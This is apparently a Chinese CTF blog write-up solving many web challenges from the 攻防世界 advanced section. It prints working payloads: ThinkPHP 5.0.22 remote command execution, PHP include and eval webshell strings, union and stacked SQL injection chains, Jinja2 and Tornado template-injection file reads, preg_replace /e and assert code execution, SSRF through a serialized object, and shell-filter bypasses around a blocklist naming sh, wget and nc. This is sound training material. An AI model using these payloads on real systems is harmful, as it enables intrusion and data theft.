攻防世界web进阶区

攻防世界web进阶区

简介

攻防世界进阶区,题量多,慢慢耍。

WP

baby_web

第一个页面是index.php,每个网站都有,本题会跳转到1.php,所以抓包即可得到

image-20210809233134941

Training-www-Robots

根据提示访问robots.txt,看到如下页面,访问/f10g.php即可得到flag。

image-20210812141706915

image-20210812141749360

php_rce

根据提示这道题是php rce漏洞,thinkphp5.0.22版本,这个是已经披露的漏洞,找到它的利用方式。

image-20210812160017327

payload:/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

vars[1][]后面跟的是任意执行的命令行cat /flag,可以先find / -name flag找到flag文件
image-20210812182303546

Web_php_include

代码过滤了php://协议,这里可以使用大写的PHP://来绕过,利用page参数的payload:

  1. PHP://input,然后POST <?php phpinfo();?>
  2. ?page=data://text/plain,<?php%20system('ls')?>
  3. ?page=data://text/plain,<?php%20@eval $_POST['sung'];?>,antsword连接

对于hello参数的用法更简单,直接?hello=<?php system('ls');?>

看wp还有一种直接登录phpadmin然后在数据库写马,antsword连接。

image-20210812194901568

ics-06

暴力破解,burp抓包发到intuder模块,对id参数整数爆破,id=2333得到的响应长度不同,查看flag。

warmup

进去只有一张表情包,查看网页源代码,注释里写着source.php,用burp扫描目录。

image-20210816084257141

我们得到了源码,代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //数组:索引=>字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr( //截取一段字符串
$page,
0,
mb_strpos($page . '?', '?') //返回?的位置
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); //url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //截到source.php或者hint.php
return true;
}
echo "you can't see it";
return false;
}
}

if(!empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) )
{ //file字符串要通过checkfile验证
include $_REQUEST['file'];
exit;
}
else
{
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

所以我们的目的就是让file参数传入一个文件绕过checkFile函数验证,构造payload:?file=hint.php?,通过第一个if判断return true。一些wp对?进行两次url编码是为了通过第二个if。

如何运用include去得到我们的flag?

image-20210816112901649

include的寻找顺序:

  1. 先按参数给出的路径寻找,给出绝对路径(/开头)或者相对路径(./或者../
  2. 没有给出路径则按照include_path规定的目录寻找
  3. 再找不到就在文件所在目录或者当前目录下寻找。

所以payload:?file=hint.php?/../../../../ffffllllaaaagggg

image-20210816142146352

NewsCenter

没有任何过滤的sql注入。

判断其字段数:' and 1=0 union select 1,2,3#。成功回显

判断当前数据库名以及版本:' and 1=0 union select 1,database(),version()#

image-20210816080824462

获得所有的数据库名:111' union select 1,2,group_concat(schema_name) from information_schema.schemata#

image-20210816081723926

查询news数据库中的表信息:111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20210816082336320

查看secret_table表中的列信息:111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="secret_table"#

image-20210816082311624

查看fl4g中的信息:111' union select 1,2,group_concat(fl4g) from news.secret_table#

image-20210816082430767

flag: QCTF{sq1_inJec7ion_ezzz}

NaNa

附件下载后的内容如下:

image-20211206181425358

上面有很多红点没法显示,是因为编码的问题,不过每个字符都是不一样的。

代码执行过程:

  1. _变量赋值一个字符串

  2. for循环,Y变量取一个奇怪的字符

  3. 循环内部,with语句相当于_=_.split($[Y]).join(_.split($[Y]).pop())

  4. 最后eval函数执行处理之后的字符串。

因为javascript没有输出语句,我们将eval直接改成alert(_)或者document.write(_)

得到代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
{
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

如果满足if这些条件,那就计算得到flag,直接将if语句的计算式粘贴到控制台,结果如下:
image-20210901225754630

PHP2

进去之后啥也没看到,hint: Can you anthenticate to this website?,验证身份,用burp添加目录字典扫描,发现了index.phps非常奇怪的一个文件,我们访问得到了源代码。

image-20210815182807625

源码如下

image-20210815183226544

所以就是id参数要等于url编码的admin,所以payload等于index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65。注意浏览器本身会对url进行解码,所以我们要进行两次编码。

image-20210815183551331

image-20210815183847894

unserialize3

之前已经了解过反序列化的相关知识了,相比较HNU的反序列化,这道很简单了。

我们需要绕过的是_wakeup()函数,只需要将成员数从1改成2就行了

image-20210816150334273

image-20210816150727147

upload1

上传文件漏洞,选择一个php文件发现连上传都上传不了,前端限制了上传方式,其实可以直接删除disabled属性提交。

但是为了学习,我们查看源。

image-20210816162642338

就是使用check()函数去检查是否可以上传,name.replace(/^.+\./, '')表示将.之前的文件名替换为空

arr[].contaings(ext)如果检查到数组包含ext元素,则返回true。

所以方法有:

  1. F12删除disabled,即可直接上传php文件
    image-20210816190351845
  2. 先上传jpg文件,burp抓包然后修改文件后缀名。

最后都是蚁剑连接,查看flag
image-20210816190453332

Web_python_template_injection

模板注入题,学不会啊。

参考:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com),这道题是模板junjia2

1
2
3
4
5
6
__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类,只能是上一个基类
__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用

os.systemos.popen, 这两句前者返回退出状态码 , 后者以file形式返回输出内容, 我们想要的是内容,所所以选择 os.popen

列出步骤:

  1. {{config}},检测是否有模板注入,返回config信息
  2. {{''.__class__}},返回所属类
  3. {{''.__class__.__mro__}},返回所属类的基类
  4. {{''.__class__.__mro__[2].__subclasses__()}},返回基类object类的子类
  5. {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
    找到排在第72个的site_Printer类,初始化然后os.popen执行命令,读取。
  6. {{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
    {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
    使用文件名.read()的方式读取文件

image-20210817112826768

总结:本题是对url先传入再渲染,所以在渲染的时候对{{}}`内容当作变量解析,所以出现了漏洞。 ### Web_php_unserialize php反序列化漏洞。 根据提示我们要得到`fl4g.php`,我们需要绕过的只有两个点: 1. 绕过`_wakeup()`,通过让序列化后的属性数超过本该的属性数,导致异常,不执行wakeup函数。 2. 绕过`preg_match('/[oc]:\d+:/i', $var)`,正则匹配,`[oc]`元字符匹配一个字符o或者c,`:`普通字符:,`\d`元字符匹配一个数字,`+`元字符表示可以匹配一个或多个前一个字符`\d`,`:`普通字符。 ![image-20210817150314888](攻防世界web进阶区/image-20210817150314888.png) 得到flag ![image-20210817153913773](攻防世界web进阶区/image-20210817153913773.png) ### supersqli 强网杯的题,sql注入。 首先,`1' or 1=1 #`有返回结果,是个注入点。 ![image-20210817162444026](攻防世界web进阶区/image-20210817162444026.png) 然后union select联合查询,发现失败了。 ![image-20210817162523541](攻防世界web进阶区/image-20210817162523541.png) 这道题考查的是堆叠注入,查询还可以使用show 1. 查询所有的数据库:`1';show database;#` 2. 查所有的表:`1';show tables;` 3. 查表中的所有字段:``1';show columns from `1919810931114514`;`` 4. 查看flag字段:``1';Set @sql = CONCAT('se','lect flag from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#``,过滤set但是可以大小写绕过strstr函数 ![image-20210817190245570](攻防世界web进阶区/image-20210817190245570.png) 这道题的方法属实有点多,一下子见识到了sql注入的各种手段和知识点: 1. handler代替select,handler拥有select的部分功能 2. 预编译,也就是我使用的,set、prepare、execute。 3. 更改表名列名,将现在所查询的表与想要查询的表,用rename和alter语句将表名和字段名互换,然后直接查询`1' or 1=1`即可得到flag。 4. show的用法 ### easytornado 模板注入题,使用的是python的tornado模板 有三个文件,还有一个跳转到的error文件 ![image-20210818092711193](攻防世界web进阶区/image-20210818092711193.png) ![image-20210818092929405](攻防世界web进阶区/image-20210818092929405.png) ![image-20210818093021681](攻防世界web进阶区/image-20210818093021681.png) ![image-20210818093032490](攻防世界web进阶区/image-20210818093032490.png) ![image-20210818102517809](攻防世界web进阶区/image-20210818102517809.png) 给了四个信息: 1. flag在/fllllllllllllag文件 2. reder渲染,render是一个类似模板的东西,可以使用不同的参数来访问网页 3. hint提示,md5加密还有cookie_secret加盐,与url对比,发现这个md5值就是filehash的值。 4. error的msg就是我们模板注入的地方 修改msg参数进行注入。在tornado模板引擎中,存在一些可以访问的快速对象,`{{handler.settings}}对象获得环境变量

image-20210818115153046

然后md5(cookie_secret+md5(filename)),filename=/fllllllllllllag,得到filehash
image-20210818115546418

得到flag:

image-20210818115605489

shrine

进入页面有python代码,先进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

flask框架,是一个服务器端模板注入

/shrine/<path:shrine>可以被flask.render_template_string渲染,同时我们看到对小括号进行了替换,将 ( 和 ) 替换为空字符串,config和self是黑名单。

所以__subclasses__(){{config}}{{self.__dict__._TemplateReference__context.config}}不能用,但是还有别的函数可以用。

1
2
3
payload:
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

ics-05

进入环境,根据提示进入云平台设备维护中心,也可以用burp扫描目录发现。

image-20210829144657357

发现get型参数page=index,并且回显在页面,应该是本地文件包含(LFI)。

使用hackbar自带的测试语句

image-20210829153518678

成功显示说明存在本地文件包含漏洞,然后尝试hackbar的php伪协议

image-20210829165018121

base64解码得到index.php源码,进行审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

关键部分就是最后的内部功能,payload:

  1. XFF 头是127.0.0.1,很多插件都可以实现
    image-20210831154447334

  2. preg_replace($pattern, $replacement, $subject);函数使用 /e模式,导致代码执行的问题
    参考:PHP preg_系列漏洞小结 | 国光 (sqlsec.com)

  3. 所以?pat=/1/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=1
    image-20210831164502945

mfw

git泄露,用Githack得到原始结构目录的源码

image-20210820153749371

打开flag.php没有发现flag,应该是删掉了,但是位置应该还是没变,对index.php源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if (isset($_GET['page']))
{
$page = $_GET['page'];
}
else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

aseert函数可以任意执行代码,or die()指的是如果前面的值为false则执行括号里面的内容,两个aseert都能利用:

  1. ?page=1','2') === false and highlight_file('templates/flag.php') and strpos('templates/flag
  2. ?page=').system("cat%20templates/flag.php");//

web2

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

思路已经很明确了,就是逆向解密$miwen

先把变量命名给改了,然后逆向解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 

function decode($miwen){
$mingwen='';
$miwen=base64_decode(strrev(str_rot13($miwen)));
$strrev=strrev($miwen);
for ($i=0; $i < strlen($strrev); $i++) {

$char=substr($strrev,$i,1);
$ordchar=ord($char)-1;
$char=chr($ordchar);
$mingwen=$mingwen.$char;

}
return $mingwen;
}

$miwen='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
echo decode($miwen);

?>

fakebook

dirb扫描结果(或者nikto等别的扫描工具)

image-20211013190942893

可以知道flag.php就是我们要得到的

访问/robots.txt发现user.php.bak源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

我们知道两点:

  1. 这道题有可能和反序列化有关
  2. get函数的Curl 导致 SSRF 及 WAF 绕过方式

我们进入页面,注册账号,发现usename可以点,跳转到如下界面

image-20211013224122689

image-20211013224156936

?no=1有可能是sql注入,尝试注入。

image-20211013231448634

首先回显2,在username下面,说明成功;

同时我们看到,还有unserialize函数失败,同时ageblogthe cotents of blog都报错没有对象,联系到之前的源码,这三个内容都是由一个序列化的对象反序列化得到的。

接下来我们查看数据库:

  1. ?no=0 union/**/select 1,version(),3,4--,查看数据库版本
    image-20211013231807004
  2. ?no=0 union/**/select 1,database(),3,4--,查看数据库名字
    image-20211013231953403
  3. ?no=0 union/**/select 1,(select group_concat(schema_name) from information_schema.schemata),3,4--,查看所有的数据库表名
    image-20211013232707915
  4. ?no=0 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--,查看fakebook数据库的表名
    image-20211013233244724
  5. ?no=0 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3,4--,查看users字段名
    image-20211013233901324
  6. ?no=0 union/**/select 1,(select group_concat(no,username,passwd,data) from fakebook.users),3,4--,查看字段名的值
    image-20211013234108197

看到data字段储存的是序列化的对象,我们现在回到之前的思路:将data字段的值设置成一个序列化的对象,然后得到内容。

因为curl在权限够的情况下,可以通过file协议读取本地文件,所以payload如下:

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

image-20211014154306572

如果直接在注册的时候将blog注册为flag.php,不能通过isValidBlog ()函数的检测

cat

favorite number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

首先是POST传入,然后我们需要绕过这几个点,system执行命令:

  1. $stuff === $array && $stuff[0] != 'admin'也就是说stuff[0]要同时等于和不等于admin,其实这一步就是最难的
    我们可以看到,在php 5.5.9版本存在的这个漏洞,所以stuff如下:
    stuff[4294967296]=admin&stuff[1]=user

    image-20211015155414421
    image-20211015155801077

  2. preg_match("/^\d+$/im",$num),表示num是要由纯数字组成的字符串,但是我们要让num是一个命令,关键在于/m模式,所以我们要通过%0a换行绕过它,我们的payload更新如下:
    stuff[4294967296]=admin&stuff[1]=user&num=1%0als
    image-20211015162001426

  3. !preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num,我们的命令要避开这些字符,然后还要得到flag,可以看到flag都被过滤了,这里有两个思路:

    1. command:tac `find -inum xxxx`
      用inode索引节点,先找到flag文件的inode,然后用tac读取find找到的flag文件得到flag
      image-20211015162230878

      image-20211015162534293

    2. command: printf /fla > /tmp/target; printf g >> /tmp/target ; tac `tac /tmp/target`
      思路是tac读取/tmp/target文件保存的/flag,得到flag。
      image-20211015165226482

    3. command: tac /fla$1g
      思路是$1变量为空,所以最后还是执行tac /flag
      image-20211015170613255
      image-20211015170628858

    4. command: a=fla;b=g; tac /$a$b
      拼接变量,执行tac /flag
      image-20211015170942675

lottery

进去看到home是个卖彩票的页面,全对奖励50000。buy是购买彩票的界面,还要注册一个用户名不要密码。account显示钱包和名字。

最后一个claim your price界面,如果我们有99990000的钱就可以购买flag。

image-20211016001448571

现在我们想要通过买彩票去刷钱,发现都是随机数,挣不到钱。

dirb扫描结果:

image-20211016001734639

发现.git泄漏,robots.txt也证明是.git泄漏。

githacker --url http://111.200.241.244:52967/ --folder result得到源码

Seay打开审计代码,我们目的是知道怎么去刷钱,所以去看buy.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php include('check_register.php');include('header.php'); ?>


<h2>Buy a lottery!</h2>

<form method="POST">
<input type="text" name="numbers" id="numbers" minlength="7" maxlength="7" pattern="\d{7}" required placeholder="7 numbers">
<button type="button" id="btnBuy">Buy!</button>
</form>
<script type="text/javascript" src="js/buy.js"></script> //js/buy.js
<p id="wait" class="alert alert-info" style="display: none;">Please wait...</p>
<div id="result" style="display: none;">
<p id="info" class="alert alert-info">Prize: <span id="prize"></span></p>
<p>
<span style="width: 10em; display: inline-block;">Winning numbers:</span>
<div id="win">

</div>
</p>
<p>
<span style="width: 10em; display: inline-block;">Your numbers:</span>
<div id="user">
<span class="number-ball number-ball-red">1</span>
<span class="number-ball number-ball-gray">6</span>
</div>
</p>
</div>

<?php include('footer.php'); ?>

追踪到js/buy.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function buy(){
$('#wait').show();
$('#result').hide();
var input = $('#numbers')[0];
if(input.validity.valid){
var numbers = input.value;
$.ajax({
method: "POST",
url: "api.php", //api.php
dataType: "json",
contentType: "application/json",
data: JSON.stringify({ action: "buy", numbers: numbers })
}).done(function(resp){
if(resp.status == 'ok'){
show_result(resp);
} else {
alert(resp.msg);
}
})
} else {
alert('invalid');
}
$('#wait').hide();
}

function show_result(resp){
$('#prize').text(resp.prize);
var numbers = resp.numbers;
var win_numbers = resp.win_numbers;
var numbers_result = '';
var win_numbers_result = '';
for(var i=0; i<7; i++){
win_numbers_result += '<span class="number-ball number-ball-red">' + win_numbers[i] + '</span>';
if(numbers[i] == win_numbers[i]){
numbers_result += '<span class="number-ball number-ball-red">' + numbers[i] + '</span>';
} else {
numbers_result += '<span class="number-ball number-ball-gray">' + numbers[i] + '</span>';
}
}
$('#win').html(win_numbers_result);
$('#user').html(numbers_result);
$('#money').text(resp.money);
$('#result').show();
$('#numbers').select()
}

$(document).ready(function(){
$('#btnBuy').click(buy);
$('form').submit(function( event ) {
buy();
return false;
});
})

看到数据发送到api.php,下面是部分源码,关键函数是buy函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// my boss told me to use cryptographically secure algorithm 
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);

if(!$cstrong){
response_error('server need be checked, tell admin');
}

$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums(); //得到
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //php弱类型比较
$same_count++;
}
}
switch ($same_count) { //猜对的数字
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

判断相等的数字个数时,用的是==,这不就是个弱类型漏洞吗,bool类型的true是可以和任何数据弱类型相等的

抓包刷钱,然后买flag

image-20211018225202078

image-20211018225228580

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021 Sung
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信